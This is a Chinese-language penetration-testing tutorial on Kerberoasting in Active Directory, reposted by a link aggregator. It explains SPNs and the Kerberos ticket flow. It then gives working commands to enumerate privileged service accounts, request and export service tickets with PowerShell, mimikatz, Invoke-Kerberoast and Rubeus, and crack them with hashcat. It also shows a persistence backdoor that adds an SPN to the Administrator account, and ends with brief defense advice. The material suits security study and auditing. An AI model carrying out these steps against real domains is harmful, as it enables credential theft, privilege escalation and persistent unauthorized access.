

域渗透——Kerberoasting
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言
Kerberoasting是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍Kerberoasting的原理和实现,以及一个后门利用的方法,最后给出防御建议。
参考资料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/
https://malicious.link/post/2016/kerberoast-pt1/
https://malicious.link/post/2016/kerberoast-pt2/
https://malicious.link/post/2016/kerberoast-pt3/
https://adsecurity.org/?p=3458
https://adsecurity.org/?page_id=183
https://blog.netspi.com/faster-domain-escalation-using-ldap/
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
0x01 简介
本文将要介绍以下内容:
- Kerberoasting相关概念
- Kerberoasting的原理
- Kerberoasting的实现
- Kerberoasting的后门利用
- Kerberoasting的防御
0x02 基本概念
官方文档:
https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
全称Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System
或Network Service
,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
SPN的格式
serviceclass/host:port/servicename
- serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
- host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
- 如果服务运行在默认端口上,则端口号(port)可以省略
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1) 使用SetSPN
Win7和Windows Server2008自带的工具
查看当前域内的所有SPN:
setspn.exe -q */*
查看test域内的所有SPN:
setspn.exe -T test -q */*
输出结果实例:
CN=DC1,OU=Domain Controllers,DC=test,DC=com
exchangeRFR/DC1
exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com
exchangeMDB/DC1
exchangeAB/DC1
exchangeAB/DC1.test.com
SMTP/DC1
SMTP/DC1.test.com
SmtpSvc/DC1
SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com
ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
DNS/DC1.test.com
GC/DC1.test.com/test.com
RestrictedKrbHost/DC1.test.com
RestrictedKrbHost/DC1
HOST/DC1/TEST
HOST/DC1.test.com/TEST
HOST/DC1
HOST/DC1.test.com
HOST/DC1.test.com/test.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
ldap/DC1/TEST
ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
ldap/DC1.test.com/TEST
ldap/DC1
ldap/DC1.test.com
ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
RestrictedKrbHost/COMPUTER01
HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com
HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
MSSQLSvc/DC1.test.com
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
对于上面的输出数据,机器帐户(Computers)为:
- CN=DC1,OU=Domain Controllers,DC=test,DC=com
- CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用户帐户(Users)为:
- CN=krbtgt,CN=Users,DC=test,DC=com
- CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
注册在域用户帐户(Users)下的SPN有两个:kadmin/changepw
和MSSQLSvc/DC1.test.com
0x03 Kerberoasting的原理
1、Kerberos认证过程
一个简单的Kerberos认证过程如下图

- as_request
- as_reply
- tgs_request
- tgs_reply
- ap_request
- ap_reply
对于4.tgs_reply,用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC
站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令
2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
这里举一个例子:
用户a要访问MySQL服务的资源,进行到4.tgs_reply时,步骤如下:
(1)Domain Controller查询MySQL服务的SPN
如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户
如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户
(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS
3、域内的主机都能查询SPN
4、域内的任何用户都可以向域内的任何服务请求TGS
综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:
- 查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
- 请求TGS
- 导出TGS
0x04 Kerberoasting的实现方法一
1、获得有价值的SPN
需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
可以选择以下三种方法:
(1)使用powershell模块Active Directory
注:
powershell模块Active Directory 需要提前安装,域控制器一般会安装
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:
import-module .\Microsoft.ActiveDirectory.Management.dll
Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,我已经提取出来并上传至github:
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
(2)使用PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
(3)使用kerberoast
powershell:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
参数如下:
cscript GetUserSPNs.vbs
2、请求TGS
(1)请求指定TGS
$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
(2)请求所有TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
执行后输入klist
查看内存中的票据,可找到获得的TGS
使用mimikatz
kerberos::list /export
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
./tgsrepcrack.py wordlist.txt test.kirbi
0x05 Kerberoasting的实现方法二
自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
代码地址:
https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解
实例演示:
在域内一台主机上以普通用户权限执行:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
-AdminCount表示选择高权限的用户
输出结果如下图

只提取出hash的参数如下:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
输出结果如下图

使用hashcat破解的参数如下:
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
破解结果如下图,成功获得明文口令MySQLAdmin111!

注:
Rubeus也可以实现Invoke-Kerberoast的功能,地址如下:
https://github.com/GhostPack/Rubeus
参数如下:
Rubeus.exe kerberoast
0x06 Kerberoasting的后门利用
在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令
例如为域用户Administrator
添加SPNVNC/DC1.test.com
,参数如下:
setspn.exe -U -A VNC/DC1.test.com Administrator
在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,如下图

再使用hashcat破解即可
补充:
删除SPN的参数如下:
setspn.exe -D VNC/DC1.test.com Administrator
0x07 防御
站在防御的角度,不可能阻止kerberoast,但可以对有攻击价值的SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令
管理员可在域内一台主机上使用Invoke-Kerberoast检查是否存在危险的SPN
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
0x08 小结
本文对Kerberoasting的原理、方法和防御作了详细介绍,并进行了实例演示。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK